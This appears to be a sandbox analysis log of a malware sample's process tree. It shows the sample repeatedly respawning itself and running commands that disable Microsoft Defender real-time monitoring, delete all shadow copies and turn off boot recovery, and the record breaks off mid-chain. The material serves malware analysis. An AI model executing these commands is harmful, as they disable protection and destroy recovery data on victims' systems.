C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5948
- C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1608
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1520
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4448
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:2988
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2116
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:5576
- - C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
    C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
    3⤵
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1244
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1448
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        5⤵
        Disables one or more Microsoft Defender components
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1936
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4552
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        5⤵
        
        PID:5828
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2372
    - - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:3892
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
      C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:6072
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5484
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3320
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2916
      - C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        6⤵
        
        PID:2008
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4788
      - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:4340
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        5⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:3936
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:5216
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2560
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3024
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        7⤵
        Interacts with shadow copies
        
        PID:3864
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:5596
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2976
      - C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1112
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:2016
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1392
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:2200
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        8⤵
        Interacts with shadow copies
        
        PID:4952
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:5500
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        8⤵
        Modifies boot configuration data using bcdedit
        
        PID:4188
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:4172
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:764
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2156
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:5340
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        9⤵
        Interacts with shadow copies
        
        PID:2420
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        8⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:1648
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        9⤵
        Modifies boot configuration data using bcdedit
        
        PID:4892
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:620
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:2612
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        10⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5720
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        9⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:1080
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        10⤵
        Interacts with shadow copies
        
        PID:2820
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:3296
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        10⤵
        Modifies boot configuration data using bcdedit
        
        PID:5452
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:2640
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:3520
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        11⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3544
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:2988
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        11⤵
        
        PID:5532
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:2852
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        11⤵
        Modifies boot configuration data using bcdedit
        
        PID:5788
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:3380
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        11⤵
        Suspicious use of WriteProcessMemory
        
        PID:3736
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        12⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:6108
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        11⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3704
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        12⤵
        Interacts with shadow copies
        
        PID:4832
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        11⤵
        Suspicious use of WriteProcessMemory
        
        PID:4248
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        12⤵
        Modifies boot configuration data using bcdedit
        
        PID:4640
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        11⤵
        
        PID:2092
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        12⤵
        
        PID:5816
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        13⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5924
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        12⤵
        
        PID:3640
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        13⤵
        
        PID:5028
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        12⤵
        
        PID:3420
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        13⤵
        Modifies boot configuration data using bcdedit
        
        PID:4932
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        12⤵
        
        PID:2400
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        13⤵
        
        PID:4580
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        14⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5580
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        13⤵
        
        PID:5420
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        14⤵
        Interacts with shadow copies
        
        PID:5660
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        13⤵
        
        PID:3816
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        14⤵
        Modifies boot configuration data using bcdedit
        
        PID:3224
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        13⤵
        
        PID:5992
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        14⤵
        
        PID:2900
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        15⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5512
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        14⤵
        
        PID:6116
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        15⤵
        Interacts with shadow copies
        
        PID:2680
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        14⤵
        
        PID:3940
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        15⤵
        Modifies boot configuration data using bcdedit
        
        PID:4188
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        14⤵
        
        PID:1716
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        15⤵
        
        PID:6092
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        16⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5476
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        15⤵
        Executes a command shell one-liner
        
        PID:1964
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        16⤵
        Interacts with shadow copies
        
        PID:5656
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        15⤵
        
        PID:5800
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        16⤵
        Modifies boot configuration data using bcdedit
        
        PID:3996
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        15⤵
        
        PID:1412
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        16⤵
        
        PID:5544
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        17⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2464
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        16⤵
        Executes a command shell one-liner
        
        PID:4604
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        17⤵
        Interacts with shadow copies
        
        PID:5452
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        16⤵
        
        PID:396
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        17⤵
        Modifies boot configuration data using bcdedit
        
        PID:304
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        16⤵
        
        PID:5824
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        17⤵
        
        PID:3316
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        18⤵
        Disables one or more Microsoft Defender components
        Suspicious behavior: EnumeratesProcesses
        
        PID:388
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        17⤵
        
        PID:5888
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        18⤵
        
        PID:3096
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        17⤵
        Executes a command shell one-liner
        
        PID:5856
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        18⤵
        Modifies boot configuration data using bcdedit
        
        PID:4360
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        17⤵
        
        PID:2752
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        18⤵
        
        PID:4376
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        19⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4864
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        18⤵
        
        PID:1144
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        19⤵
        Interacts with shadow copies
        
        PID:6068
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        18⤵
        
        PID:5984
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        19⤵
        Modifies boot configuration data using bcdedit
        
        PID:4184
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        18⤵
        
        PID:468
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        19⤵
        
        PID:264
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        20⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2508
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        19⤵
        Executes a command shell one-liner
        
        PID:4780
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        20⤵
        
        PID:3360
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        19⤵
        
        PID:3864
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        20⤵
        Modifies boot configuration data using bcdedit
        
        PID:1132
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        19⤵
        
        PID:4856
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        20⤵
        
        PID:5660
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        21⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2576
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        20⤵
        
        PID:3116
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        21⤵
        
        PID:2708
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        20⤵
        
        PID:3856
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        21⤵
        Modifies boot configuration data using bcdedit
        
        PID:1352
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        20⤵
        
        PID:5632
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        21⤵
        
        PID:5672
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        22⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5264
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        21⤵
        
        PID:5324
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        22⤵
        Interacts with shadow copies
        
        PID:5656
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        21⤵
        
        PID:3996
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        22⤵
        Modifies boot configuration data using bcdedit
        
        PID:5244
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        21⤵
        
        PID:4632
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        22⤵
        Executes a command shell one-liner
        
        PID:5072
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        23⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2432
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        22⤵
        
        PID:3540
        
        C:\Windows\system32\vssadmin.exe
        
